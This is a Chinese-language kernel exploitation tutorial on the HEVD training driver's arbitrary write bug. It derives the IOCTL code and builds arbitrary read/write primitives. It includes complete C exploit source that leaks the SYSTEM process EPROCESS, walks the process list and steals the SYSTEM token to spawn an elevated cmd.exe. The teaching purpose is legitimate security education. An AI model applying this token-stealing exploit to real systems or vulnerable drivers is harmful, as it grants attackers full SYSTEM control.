内核攻防-(3)任意读写驱动漏洞分析及Exp编写
从 HEVD项目中学习 基础驱动漏洞模式,以及 Exp编写
从现在开始,我们正式进入内核漏洞的教学环节,我们先从HEVD这个驱动漏洞项目入手。
https://github.com/hacksysteam/HackSysExtremeVulnerableDriver
漏洞点
通过 IDA Pro 进行逆向,我们可以快速找到任意读写模块的漏洞点。
*where = *what;


从结构体上看,where 和 what 这两个指针我们都是可以控制的。
struct _WRITE_WHAT_WHERE{
unsigned __int64 *what;
unsigned __int64 *where;
}正确计算IOCTL
找到了漏洞点,我们需要找到触发这个漏洞点的IOCTL,否则不能利用这段高危函数。


这里我们先从 Exp 获得对应的 IOCTL,发现 我们传入的 0x802 和 逆向出来的 IOCTL 不一样。这里我们需要再研究一下。

通过源代码发现,其实做了一个运算操作,把我们传入的 IOCTL 进行了规范计算操作。




经过跟踪,我们查看到这个是Windows 自带的宏,这是专门用来规范 IOCTL 代码的宏。

正向解析
(((0x00000022) << 16) | ((0) << 14) | ((Function) << 2) | (3))IOCTL(0x802);
(((0x00000022) << 16) | ((0) << 14) | ((0x802) << 2) | (3))让我们逐步解析这个展开式:
(0x00000022) << 16:
设备类型FILE_DEVICE_UNKNOWN为0x22,移位 16 位后变为0x2200000。(0) << 14:
方法为METHOD_NEITHER,所以移位后的值为0。(0x802) << 2:
功能代码0x802移位 2 位后变为0x2008。3:
访问权限FILE_ANY_ACCESS为3。
(0x2200000) | (0) | (0x2008) | (3) = 0x2202008 | 3 = 0x220200BIDAPro 解析
我们可以通过 IDA pro 插件进行解析
https://github.com/VoidSec/DriverBuddyReloaded (这插件已经支持 IDA9.0)
只要在 DispatchDeviceControl 函数下 按 CTRL+ALT+F 就可以有 IOCTL代码

当然这是不全的,我们可以通过自己观察规律以及利用 Python 进行快速枚举
我们可以 从 0x800 - 0x900 去枚举我们自己想要的 Function 编号,找到自己目标函数的经过计算后的哈希值即可。
编写 Exp
我们的目标,进行提权操作。
这个原理的核心在于通过内核漏洞读取 PID 4 对应的 EPROCESS 结构体中的 Token,该 Token 通常与系统的最高权限(SYSTEM 权限)相关。
- 通过漏洞获取内核空间的读取权限,我们能够定位到 PID 4(通常是 System 进程)对应的
EPROCESS结构体,并提取出其中的Token。 - 利用内核漏洞的写权限,我们将这个高权限的
Token注入到我们当前运行的目标进程中。通过这种方式,目标进程将获得 SYSTEM 权限。 - 我们可以通过该进程启动一个新的命令行(例如
cmd.exe),这个命令行将以 SYSTEM 权限运行,从而实现权限提升,能够执行系统级别的操作和访问原本受限的资源。
获取 _EPROCESS 的 偏移量
查看这个项目 https://github.com/I3r1h0n/eprocess_offsets

定义好需要的常量以及 IOCTL
#define TriggerArbitraryWrite_IOCTL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_NEITHER, FILE_ANY_ACCESS)
// _EPROCESS offsets
#define UniqueProcessId_off 0x440
#define ActiveProcessLinks_off 0x448
#define Token_off 0x4b81. _SYSTEM_HANDLE 结构体
typedef struct _SYSTEM_HANDLE {
ULONG ProcessId;
BYTE ObjectTypeNumber;
BYTE Flags;
USHORT Handle;
PVOID Object;
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;- 用途:表示一个系统中的句柄(handle)。句柄是 Windows 中进程和操作系统之间交互的重要标识符,通常用于引用系统资源,如文件、线程或进程等。
- 字段分析:
ProcessId:拥有该句柄的进程的 ID。ObjectTypeNumber:表示该对象的类型,通常是一个枚举值,指示对象的类型(如文件、设备等)。Flags:与句柄的标志有关,例如是否是继承句柄。Handle:系统资源的句柄值,作为进程与内核之间的引用。Object:指向与句柄关联的实际对象的指针。GrantedAccess:访问权限,描述进程对该句柄的访问级别。
2. _SYSTEM_HANDLE_INFORMATION 结构体
typedef struct _SYSTEM_HANDLE_INFORMATION {
ULONG HandleCount;
SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;- 用途:包含系统中的句柄信息。
- 字段分析:
HandleCount:系统中句柄的数量。Handles:包含系统句柄数组的第一个元素,数组的大小为HandleCount。它是SYSTEM_HANDLE结构体的集合,包含所有当前活动的句柄及其相关信息。
3. _SYSTEM_INFORMATION_CLASS 枚举
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation = 0,
SystemPerformanceInformation = 2,
SystemTimeOfDayInformation = 3,
SystemProcessInformation = 5,
SystemHandleInformation = 16,
SystemObjectInformation = 17,
} SYSTEM_INFORMATION_CLASS;- 用途:定义了查询系统信息时使用的不同类别。这些信息类别通常在调用
NtQuerySystemInformation时作为参数传递,用于请求特定类型的系统信息。 - 常用值:
SystemHandleInformation:请求系统句柄信息,通常用于获取有关所有句柄的信息,包括它们的对象类型、访问权限和所有者等。
4. NtQuerySystemInformation_t 函数指针类型
typedef NTSTATUS(NTAPI* NtQuerySystemInformation_t)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);- 用途:定义一个指向
NtQuerySystemInformation的函数指针。这是一个 Windows 内核函数,用于查询有关系统的各种信息(例如句柄、进程、系统性能等)。根据传递的SystemInformationClass类型,返回不同种类的信息。 - 参数分析:
SystemInformationClass:指定请求的信息类别(例如SystemHandleInformation)。SystemInformation:指向将存储返回信息的缓冲区。SystemInformationLength:缓冲区的大小(字节)。ReturnLength:返回填充的字节数,指示实际数据的大小。
5. _WRITE_WHAT_WHERE 结构体
typedef struct _WRITE_WHAT_WHERE
{
PULONG_PTR What;
PULONG_PTR Where;
} WRITE_WHAT_WHERE, * PWRITE_WHAT_WHERE;- 用途:通常用于描述一个内存写入操作,其中
What是指向要写入数据的指针,Where是指向数据将被写入的位置的指针。 - 字段分析:
What:指向要写入的数据的指针。Where:指向目标内存位置的指针,数据将被写入到该位置。
任意写函数
VOID arbitrary_write(HANDLE driver, uint64_t value, uint64_t addr) {
// Allcating space for payload structure on exploit.exe heap
PWRITE_WHAT_WHERE payload = { HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(WRITE_WHAT_WHERE)) };
// Notice &
payload->What = (PULONG_PTR)&value;
payload->Where = (PULONG_PTR)addr;
DeviceIoControl(driver, TriggerArbitraryWrite_IOCTL, payload, sizeof(WRITE_WHAT_WHERE), NULL, 0, 0, NULL);
}
这里有一个坑需要注意,请你查看我为什么填写了 &value 而不是 value
在代码中,payload->What = (PULONG_PTR)&value; 和 payload->Where = (PULONG_PTR)addr; 这两行代码的作用是将指针(而不是实际的值)传递给驱动程序的 TriggerArbitraryWrite 函数。这是为了让驱动程序能够根据用户提供的地址(addr)和数据值(value)执行写入操作。
&value 为什么有 &?
value是一个64位的变量,它存储了你希望写入的具体数据。&value是对value变量的取地址操作,表示value变量的内存地址。payload->What是一个指针类型,指向ULONG_PTR(通常是uintptr_t或void*类型)。它应该存储的是某个值的内存地址,而不是值本身。- 因此,需要使用
&value来传递value变量的内存地址。否则,直接将value的值赋给What会是错误的,因为What期望的是一个指针(内存地址)。
总结:&value 使得 What 存储的是 value 的地址,而不是 value 的值,这样 TriggerArbitraryWrite 函数就能通过 What 获取到 value 的值。
payload->Where = (PULONG_PTR)addr;
- 这里的
addr是目标地址,表示数据应当写入的位置。Where是一个指针,表示存储目标地址的指针。 (PULONG_PTR)addr通过类型转换将addr强制转换为PULONG_PTR(即ULONG_PTR*类型的指针),然后将这个指针赋值给payload->Where。这样,驱动程序就会知道要将数据写入到addr指定的内存地址。
驱动代码分析
驱动中的 TriggerArbitraryWrite 函数通过以下方式进行内存写入:
What = UserWriteWhatWhere->What;
Where = UserWriteWhatWhere->Where;
*Where = *What;UserWriteWhatWhere->What获取用户传递的What,即指向要写入的值的地址。UserWriteWhatWhere->Where获取用户传递的Where,即要写入数据的目标地址。- 然后通过
*Where = *What;执行写入操作,将What指向的值写入到Where指向的地址。
这意味着用户提供了要写入的值的地址和目标地址,驱动程序将从 What 指向的地址读取数据,并将其写入到 Where 指向的地址。
比喻理解
或许讲得有点不懂,我们来打个比喻
假设你有一个信封(payload),你要把两个信息放进去:
- 一个是写给朋友的内容(
value), - 一个是你朋友家地址(
addr),
在信封里:
- 你不能直接放信件内容(
value)到信封里,而是需要写上信件的地址(&value)。这就像是你给信封写一个“信件的地址”,而不是直接放内容进去。信封本身不能直接传递内容,必须传递地址,这样当信封被打开时,你朋友可以从地址那里找到信件的具体内容。
比喻到代码中:
payload->What = (PULONG_PTR)&value;就是将value的地址放进信封里,而不是把value本身放进去。payload->Where = (PULONG_PTR)addr;就是将目标地址addr放入信封,告诉程序数据将被写入哪里。
最终,当信封被打开时(即在驱动中),程序会根据“信件地址”(What)找到内容(value),然后将这个内容写入“朋友的地址”(Where)。
任意读函数
只要把反过来即可
uint64_t arbitrary_read(HANDLE driver, uint64_t addr) {
PWRITE_WHAT_WHERE payload = { HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(WRITE_WHAT_WHERE)) };
uint64_t result;
payload->What = (PULONG_PTR)addr;
payload->Where = (PULONG_PTR)&result; // Notice &
DeviceIoControl(driver, TriggerArbitraryWrite_IOCTL, payload, sizeof(WRITE_WHAT_WHERE), NULL, 0, 0, NULL);
return result;
}获取 PID 4 TOKEN
通过 NtQuerySystemInformation 获取到 指定 PID 的基地址
PVOID FindBaseAddress(DWORD pid) {
HINSTANCE hNtDLL = LoadLibraryA("ntdll.dll");
PSYSTEM_HANDLE_INFORMATION buffer;
ULONG bufferSize = 0xffffff;
buffer = (PSYSTEM_HANDLE_INFORMATION)malloc(bufferSize);
NTSTATUS status;
PVOID ProcAddress = NULL;
NtQuerySystemInformation_t NtQuerySystemInformation = (NtQuerySystemInformation_t)(GetProcAddress(hNtDLL, "NtQuerySystemInformation"));
status = NtQuerySystemInformation(0x10, buffer, bufferSize, NULL);
for (ULONG i = 0; i <= buffer->HandleCount; i++) {
if ((buffer->Handles[i].ProcessId == pid)) {
ProcAddress = buffer->Handles[i].Object;
break;
}
}
free(buffer);
return ProcAddress;
}
uint64_t system_proc_base_addr = (uint64_t)FindBaseAddress(4);
uint64_t system_proc_token_addr = system_proc_base_addr + Token_off;获取当前进程的 Token
PVOID LocateCurrentProc(HANDLE driver, PVOID SYSTEM) {
DWORD pid = GetCurrentProcessId();
DWORD curPid;
PVOID current = SYSTEM;
do {
// Follow the next process link
current = (PVOID)(arbitrary_read(driver, ((uint64_t)current + ActiveProcessLinks_off)) - ActiveProcessLinks_off);
// Read the PID of 'current'
curPid = (DWORD)arbitrary_read(driver, ((uint64_t)current + UniqueProcessId_off));
if (curPid == pid) {
break;
}
} while (current != SYSTEM);
if (current == SYSTEM) {
return NULL;
}
return current;
}1. 函数参数
driver:指向驱动程序的句柄,允许与内核交互。SYSTEM:这是一个指向某个系统结构的指针,通常指向内核中的进程链表头。
2. 获取当前进程 ID
DWORD pid = GetCurrentProcessId();通过调用 GetCurrentProcessId() 获取当前进程的进程 ID (pid)。这将用来在进程链表中找到当前进程。
3. 初始化和遍历进程链表
PVOID current = SYSTEM;
do {
current = (PVOID)(arbitrary_read(driver, ((uint64_t)current + ActiveProcessLinks_off)) - ActiveProcessLinks_off);
curPid = (DWORD)arbitrary_read(driver, ((uint64_t)current + UniqueProcessId_off));
if (curPid == pid) {
break;
}
} while (current != SYSTEM);current:指向当前遍历的进程对象,最开始指向SYSTEM,这是链表的头。ActiveProcessLinks_off:是链表中每个进程节点指向下一个进程的偏移量。UniqueProcessId_off:是每个进程节点中存储进程 ID 的偏移量。
在 do-while 循环中:
- 使用
arbitrary_read(driver, ...)读取当前进程结构体中的 "下一个进程" 的地址。这个地址存储在当前进程的ActiveProcessLinks字段里,指向链表中下一个进程。 - 通过读取进程结构体中的
UniqueProcessId来获取当前进程的 ID(curPid)。 - 如果
curPid等于当前进程的pid,表示找到了当前进程,跳出循环。
如果遍历到链表的头 SYSTEM 还没找到当前进程,函数会返回 NULL,表示没找到。
4. 返回当前进程结构体
如果在链表中找到了当前进程,就返回当前进程的结构体地址(即 current)。
arbitrary_read(driver, ((uint64_t)current + ActiveProcessLinks_off)) 读取当前进程结构体中“下一个进程”的指针。
- ActiveProcessLinks_off 是为了将该指针调整为实际下一个进程结构体的地址。
这行代码的目的是使 current 指向链表中的下一个进程,从而实现遍历整个进程链表。
可以把它比作:你有一本书(进程结构体链表),每一页(进程)都有一个指向下一页的指针(ActiveProcessLinks)。你当前在某一页(current),通过这个偏移量,你可以找到该页的“下一页”地址,然后跳转到下一页。
整体代码如下
#include <windows.h>
#include <stdint.h>
#include <stdio.h>
#define TriggerArbitraryWrite_IOCTL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_NEITHER, FILE_ANY_ACCESS)
// _EPROCESS offsets
#define UniqueProcessId_off 0x440
#define ActiveProcessLinks_off 0x448
#define Token_off 0x4b8
/**
* Required for defining NtQuerySystemInformation
*/
typedef struct _SYSTEM_HANDLE {
ULONG ProcessId;
BYTE ObjectTypeNumber;
BYTE Flags;
USHORT Handle;
PVOID Object;
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;
typedef struct _SYSTEM_HANDLE_INFORMATION {
ULONG HandleCount;
SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation = 0,
SystemPerformanceInformation = 2,
SystemTimeOfDayInformation = 3,
SystemProcessInformation = 5,
SystemHandleInformation = 16,
SystemObjectInformation = 17,
} SYSTEM_INFORMATION_CLASS;
typedef NTSTATUS(NTAPI* NtQuerySystemInformation_t)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
NTSTATUS NtQuerySystemInformation(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
typedef struct _WRITE_WHAT_WHERE
{
PULONG_PTR What;
PULONG_PTR Where;
} WRITE_WHAT_WHERE, * PWRITE_WHAT_WHERE;
VOID arbitrary_write(HANDLE driver, uint64_t value, uint64_t addr) {
// Allcating space for payload structure on exploit.exe heap
PWRITE_WHAT_WHERE payload = { HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(WRITE_WHAT_WHERE)) };
// Notice &
payload->What = (PULONG_PTR)&value;
payload->Where = (PULONG_PTR)addr;
DeviceIoControl(driver, TriggerArbitraryWrite_IOCTL, payload, sizeof(WRITE_WHAT_WHERE), NULL, 0, 0, NULL);
}
uint64_t arbitrary_read(HANDLE driver, uint64_t addr) {
PWRITE_WHAT_WHERE payload = { HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(WRITE_WHAT_WHERE)) };
uint64_t result;
payload->What = (PULONG_PTR)addr;
payload->Where = (PULONG_PTR)&result; // Notice &
DeviceIoControl(driver, TriggerArbitraryWrite_IOCTL, payload, sizeof(WRITE_WHAT_WHERE), NULL, 0, 0, NULL);
return result;
}
/**
* Used to find the base address of the sytem process
*/
PVOID FindBaseAddress(DWORD pid) {
HINSTANCE hNtDLL = LoadLibraryA("ntdll.dll");
PSYSTEM_HANDLE_INFORMATION buffer;
ULONG bufferSize = 0xffffff;
buffer = (PSYSTEM_HANDLE_INFORMATION)malloc(bufferSize);
NTSTATUS status;
PVOID ProcAddress = NULL;
NtQuerySystemInformation_t NtQuerySystemInformation = (NtQuerySystemInformation_t)(GetProcAddress(hNtDLL, "NtQuerySystemInformation"));
status = NtQuerySystemInformation(0x10, buffer, bufferSize, NULL);
for (ULONG i = 0; i <= buffer->HandleCount; i++) {
if ((buffer->Handles[i].ProcessId == pid)) {
ProcAddress = buffer->Handles[i].Object;
break;
}
}
free(buffer);
return ProcAddress;
}
/**
* Used to find our current process. Traverse EPROCESS list using our primitives starting from the system process
*/
PVOID LocateCurrentProc(HANDLE driver, PVOID SYSTEM) {
DWORD pid = GetCurrentProcessId();
DWORD curPid;
PVOID current = SYSTEM;
do {
// Follow the next process link
current = (PVOID)(arbitrary_read(driver, ((uint64_t)current + ActiveProcessLinks_off)) - ActiveProcessLinks_off);
// Read the PID of 'current'
curPid = (DWORD)arbitrary_read(driver, ((uint64_t)current + UniqueProcessId_off));
if (curPid == pid) {
break;
}
} while (current != SYSTEM);
if (current == SYSTEM) {
return NULL;
}
return current;
}
int main() {
HANDLE hHevd = CreateFileA("\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
printf("* Driver handle: 0x%p\n", hHevd);
uint64_t system_proc_base_addr = (uint64_t)FindBaseAddress(4);
uint64_t current_proc_base_addr = (uint64_t)LocateCurrentProc(hHevd, (PVOID)system_proc_base_addr);
printf("+ System process base address : %p\n", system_proc_base_addr);
printf("+ Current process base address: %p\n", current_proc_base_addr);
uint64_t system_proc_token_addr = system_proc_base_addr + Token_off;
uint64_t current_proc_token_addr = current_proc_base_addr + Token_off;
printf("* system token address: %p\n", system_proc_token_addr);
printf("* current token address: %p\n", current_proc_token_addr);
uint64_t system_token = arbitrary_read(hHevd, system_proc_token_addr);
arbitrary_write(hHevd, (uint64_t)system_token, current_proc_token_addr);
printf("+ Overwritten current process token with system token\n");
system("cmd.exe");
getchar();
return 0;
}演示操作
开启 hevd 驱动

直接运行 我们的 Exp,即可获得 System权限的cmd
